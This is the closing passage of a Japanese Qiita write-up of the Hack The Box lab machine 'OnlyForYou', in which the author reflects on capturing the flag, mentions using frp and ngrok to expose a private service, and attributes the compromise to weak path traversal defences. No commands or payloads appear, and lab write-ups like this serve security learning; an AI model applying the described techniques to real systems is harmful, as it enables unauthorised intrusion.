drwxr-xr-x 2 root root 4096 Mar 30 11:51 scripts

フラグも確認できました!完全攻略です!

攻略を終えて

攻略を振り返って、OnlyForYouはMediumにしては簡単だったかなという印象です。たまたま列挙した部分が当たっていただけかもしれませんが、脆弱性の存在が他のMediumに比べて気付きやすいような気がしました。ただ、最後のプライベートをパブリックにすることに関しては完全に頭から抜けていたのですぐに気付けなかったがことが悔しいです笑。frpやngrokといったツールは開発する際にも使っていたのでその経験が役に立ってよかったです。
今回はパストラバーサルの対策が充分でなかったことが原因となっていました。直接文字で指定する対策の方法は抜け道を通られることが多いので、対策用の関数を使用したり、想定されていないファイルの読みこみを禁止するなどして、確実に対処することが大切ですね。
今後もHTBのWriteUpを投稿していこうと思っているので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!

3
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?